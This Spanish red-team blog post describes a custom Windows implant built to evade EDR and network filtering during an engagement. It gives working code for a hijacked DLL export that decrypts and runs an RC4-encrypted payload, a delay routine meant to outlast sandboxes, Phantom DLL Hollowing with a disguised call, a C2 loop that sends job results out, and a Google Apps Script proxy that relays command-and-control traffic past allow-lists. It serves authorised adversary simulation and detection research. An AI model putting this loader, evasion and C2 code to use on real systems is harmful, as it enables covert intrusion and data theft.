Dificultando el Hunting, una historia de evasión en un entorno restringido

Es habitual e importante para el desarrollo de un ejercicio de Red Team obtener información sobre las tecnologías y restricciones del entorno en donde se van a ejecutar nuestras TTPs. Esta información, en ocasiones, implica cambios sustanciales en nuestro modus operandi. Generalmente, uno de estos cambios es dejar de lado herramientas ofensivas conocidas/públicas y desarrollar implantes propios ad-hoc al entorno a atacar al menos en las etapas iniciales de infección en donde las posibilidades de detección son elevadas.

El siguiente caso que nos gustaría compartir es un ejemplo claro de este tipo de ejercicios. En determinado cliente se obtiene información sobre la tecnología EDR (Endpoint Detection & Response) implantada y sobre las restricciones de tráfico de red saliente, en donde, únicamente dominios como Google, Microsoft, etc. están permitidos.

Tras estudiar el enfoque, se procede a desarrollar un implante con determinadas capacidades para conseguir acceso a un C2 de BlackArrow y ejecutar diversas acciones de post-explotación sin ser detectados. El siguiente esquema representa los pasos ejecutados por el implante:

Lógica del implante

Paso 1: DLL Order Hijacking

Se sabe que el uso de DLL Order Hijacking hoy en día sigue siendo bastante eficiente no solo contra Antivirus sino contra tecnologías EDR. No es de extrañar que múltiples actores sigan utilizando estas técnicas de evasión desde hace años. En concreto y como vector de entrada del ejercicio, se hará uso de uno de los binarios empleados en cierta campaña reciente descrita por Dr. Web en su informe «Study of the ShadowPad APT backdoor and its relation to PlugX» . En concreto se utilizará el binario legítimo TosBtKbd.exe firmado por TOSHIBA CORPORATION y que, tal y como se muestra a continuación, es susceptible a DLL Order Hijacking en su función 0x4024A0.

DLL Order Hijacking (TosBtKbd.exe)

Como se aprecia en la imagen, la DLL TosBtKbd.dll es cargada, vía LoadLibrary(), sin especificar su ruta completa, posibilitando la carga de una DLL dañina. Acto seguido el símbolo SetTosBtKbdHook es invocado.

Paso 2: Descifrado y carga de binario reflectivo

La ejecución de TosBtKbd.exe dará pie a las acciones dañinas por medio de la DLL proporcionada. El esqueleto de esta DLL es el siguiente:

//#include "syscalls.h" //SysWhispers
void __stdcall UnHookTosBtKbd(void) {}
void __stdcall SetTosBtKbdHook(void)
{
	char key[11];
	stale();

	//Get RC4 Key (TimeDateStamp DWORD value)
	DWORD ts = getKey();
	if (ts == NULL) return;

	sprintf_s(key, "%X", ts);
	DWORD dwCount;

	//Get encrypted shellcode from resource
	PCHAR exec = getResource(&dwCount);
	if (exec != NULL)
	{
		//Decrypt shellcode
		decrypt(key, exec, &dwCount);

		//Lazy check (reflective loading stub)
		if ((exec[1] == 'Z') && (exec[2] == 'E'))
		{
			uint8_t* pMapBuf = nullptr, * pMappedCode = nullptr;
			uint64_t qwMapBufSize;

			//Phantom DLL hollowing
			//Ref: github.com/forrest-orr/phantom-dll-hollower-poc
			//bTxF <-- (check NtCreateTransaction on the system)
			if (HollowDLL(&pMapBuf, &qwMapBufSize, (const uint8_t*)exec, dwCount, &pMappedCode,bTxF)){
				VirtualFree(exec, NULL, MEM_RELEASE);

				//Less obvious indirect call
				__asm
				{
					mov eax, pMappedCode
					push eax;
					ret
				}
			}
		}
	}
}

En primer lugar, se ha creado la función stale() cuyo objetivo es distraer y confundir algunas comprobaciones de machine learning y sandbox que se encargan de ejecutar la DLL en busca de actividad dañina. Jugando con la variable limit se puede conseguir un delay de segundos/minutos antes de ejecutar las acciones maliciosas. El siguiente fragmento de código muestra el cuerpo de dicha función.

double c(int num1) { return (16 / (num1 * pow(5.0, num1 * 1.0))); }
double c1(int num1) { return (4 / (num1 * pow(249.0, num1 * 1.0))); }

void stale()
{
	// Stale code. Play with the "limit" var to look for a delay you feel happy with 
	double limit = 100;
	int j = 0;
	double ans1 = 0.0;
	double ans2 = 0.0;
	int flag = 1;

	for (j = 1; j <= limit; j += 1) {
		if (flag == 1) {
			ans1 += c(j);
			ans2 += c1(j);
			flag = 0;
		}
		else {
			ans1 -= c(j);
			ans2 -= c1(j);
			flag = 1;
		}
	}
	printf("%f", ans1);
}

Tras dicho delay se cargará y descifrará uno de los recursos embebidos en la DLL por medio de la CryptoAPI de Windows. El recurso se corresponde con un binario cifrado con RC4 que implementa la lógica principal del implante, esto es, establecer comunicación con el C2 y ejecutar las acciones de post-explotación correspondientes.

Descifrado de recurso (PE reflectivo)

Como clave RC4 se ha utilizado el TimeDataStamp de TosBtKbd.exe. Se ha observado que algunos EDR suben exclusivamente los binarios desconocidos a su cloud-sandbox para su análisis motivo por el cual se ha almacenado la Key en el File Header del proceso contenedor. Únicamente un análisis dentro del contexto adecuado permitirá recuperar el código en claro del binario lo que se traduce es más tiempo para un hunter o analista de malware a la hora de obtener artefactos de interés como, por ejemplo, la IP/dominio del C&C.

En la siguiente imagen se muestra la creación del PE reflectivo a partir del binario compilado desde Visual Studio. Para ello se ha utilizado pe_to_shellcode, utilidad creada por la investigadora de seguridad Hasherezade. Fíjese que, posteriormente, el binario es cifrado con RC4 utilizando el TimeDataStamp de TosBtKbd.exe.

Generación de PR reflectivo (cifrado RC4)

Paso 3: Phantom DLL

Con el objetivo de dificultar el hunting en memoria y como alternativa a técnicas de inyección cada vez más conocidas, se ha utilizado Phantom DLL Hollowing. Mediante esta técnica, creada por el investigador Forrest Orr, se consigue ejecutar el binario dentro de una sección +RX, dificultando así el hunting de código dañino en memoria frente a herramientas tradicionales basadas en allocations RWX o hilos sospechosos.

En el siguiente ejemplo, la DLL utilizada para hacer el phantom (elegida en base al tamaño de su sección .text para albergar nuestro PE reflectivo) es aadauthhelper.dll; puede observarse el loader stub justo al comienzo de dicha sección (0x556C1000).

Sección RX (aadauthhelper.dll)

Para dar paso a la ejecución del implante, tras el DLL Hollowing, se ha reemplazado el clásico cast de puntero a función (call eax) con una llamada indirecta menos obvia: push eax, ret.

//Phantom DLL hollowing
			//Ref: github.com/forrest-orr/phantom-dll-hollower-poc
			//bTxF <-- (check NtCreateTransaction on the system)
			if (HollowDLL(&pMapBuf, &qwMapBufSize, (const uint8_t*)exec, dwCount, &pMappedCode, bTxF)) {
				VirtualFree(exec, NULL, MEM_RELEASE);

				//Less obvious indirect call
				__asm
				{
					mov eax, pMappedCode
					push eax;
					ret
				}

Paso 4: Conexiones con el C&C a través de Google Apps Script

Quizás una de las partes más delicadas de este ejercicio eran las comunicaciones salientes al tratarse de un entorno especialmente controlado. Tras pensar en diversas alternativas (entre las que se incluía Domain-Fronting y derivadas de dicha técnica), se ha optado por algo más “innovador”. Tras leer en su día el análisis de Forcepoint sobre determinadas TTP de Carbanak, donde dicho actor abusaba de las Google Apps Script para el envío y recepción de comandos, se planteó hacer algo similar. En lugar de utilizar dicha plataforma como servidor de mando y control se hará uso de sus capacidades de scripting para configurar un proxy que permita alcanzar el C2.

Cabe destacar que existen diversas herramientas ofensivas que se aprovechan ya de dicha plataforma de forma muy parecida a la idea inicial planteada por el equipo de Red Team y Threat Hunting de BlackArrow. No obstante, dado el escaso número de incidentes reales que hacen uso de estas TTPs se ha considerado que podría ser ­­­­­­­­­­­­­­­­el enfoque más apropiado para poner a prueba las capacidades de filtrado de nuestro target

El resultado ha sido el desarrollo de un binario en C que hace uso del enfoque descrito en el siguiente gráfico.

Conexiones a través del proxy (Google Apps Script)

En un principio el implante lanzará una petición GET (vía HTTPS) en la que embeberá, en uno de sus parámetros, la URL del C2. Desde Google Apps Script se extraerá dicha URL y hará de intermediario entre las comunicaciones del cliente y el servidor de control.

Tras recibir el primer GET, nuestro C2 devolverá un token aleatorio de 10 bytes al cliente. Este token permitirá garantizar que la conexión procede de un equipo legítimo. Periódicamente el implante, vía POST, comprobará si existen nuevos trabajos. El resultado de estos trabajos (ps, screenshot, getinfo, etc.) se remitirán al C2 codificados en base64.

En el siguiente fragmento de código se encuentra el bucle principal encargado de gestionar la recogida y envió de los resultados vinculados con cada job. La función runJob() será la responsable de ejecutar, mediante un switch case, cada uno de los comandos de control y devolver el resultado codificado en base64.

void C2_jobs(HINTERNET hConnect, TCHAR* urlPost)
{
	DWORD dwBytesRead;
	TCHAR* token = new char[BUFSIZ + 1];
	const TCHAR* job = "/job";
	TCHAR jobvalue[JSIZE];
	TCHAR* urlJob, * urlTmp = NULL;
	payenc_t pEncoded;
	pEncoded.payenc = NULL;

	urlJob = concatenate((const TCHAR*)urlPost, (TCHAR*)"/job/");

	while (true)
	{
		Sleep(timer);
		HINTERNET hHttpFile = HttpOpenRequest(hConnect, "POST", urlPost, NULL, NULL, NULL, INTERNET_FLAG_SECURE, NULL);
		if (!HttpSendRequest(hHttpFile, NULL, NULL, NULL, NULL))
			return;

		if (!InternetReadFile(hHttpFile, token, BUFSIZ + 1, &dwBytesRead))
			return;

		if (dwBytesRead != 0)
		{
			token[dwBytesRead] = 0;

			if (sscanf_s(token, "job=%[^\n]", jobvalue, sizeof jobvalue) == 1)
			{
				    urlTmp = concatenate((const TCHAR*)urlJob, jobvalue);

				    pEncoded = runJob(jobvalue);
					hHttpFile = HttpOpenRequest(hConnect, "POST", urlTmp, NULL, NULL, NULL, INTERNET_FLAG_SECURE, 0);
					if (!HttpSendRequest(hHttpFile, NULL, 0, pEncoded.payenc, pEncoded.size)) return;

					if (pEncoded.payenc != NULL)
					{
						free(pEncoded.payenc);
						pEncoded.payenc = NULL;
					}

					free(urlTmp);
					memset(jobvalue, '\0', JSIZE);
			}
		}
	}
}

Para la configuración del proxy en Google Apps Script se utilizó el siguiente código:

function doGet(e) {
  var url = decodeURIComponent(e.parameter.url);
  try {
    var response = UrlFetchApp.fetch(url);
  } catch (e) {
    return e.toString();
  }
  var cookie = response.getAllHeaders()['Set-Cookie']
  return ContentService.createTextOutput(cookie);
}
  
function doPost(e) {
  Logger.log('[+] Post Done!');
  payload = "";
  
  if(e.postData){
    payload = e.postData.getDataAsString();
  }
  else {
    Logger.log("[-] Post Error :(")
    payload = "!!Error";
  }

  var options = {
  'method' : 'post',
  'payload' : payload
  };
 
 var url = decodeURIComponent(e.parameter.url);
  try {
    var response = UrlFetchApp.fetch(url,options);
  } catch (e) {
    return e.toString();
  }
 
  Logger.log('UrlFetch Response: %s',response);
  return ContentService.createTextOutput(response.getContentText());
}

Como se observa en la siguiente imagen, el cliente desde el espacio de direcciones de TosBtKbd.exe o, para ser más exactos, desde el mapped view (image memory) vinculado con aadauthhelper.dll se comunicará con el servicio script.google.com permitiéndonos eludir las contramedidas de filtrado de la organización.

Memoria / Conexiones

En la parte del C2 se desarrolló un servicio en Python sencillo para gestionar los listeners y las diversas tareas de post-explotación.

Servidor C2

A continuación, se muestra un vídeo durante el testeo de la prueba de concepto sobre un Windows 10 2004.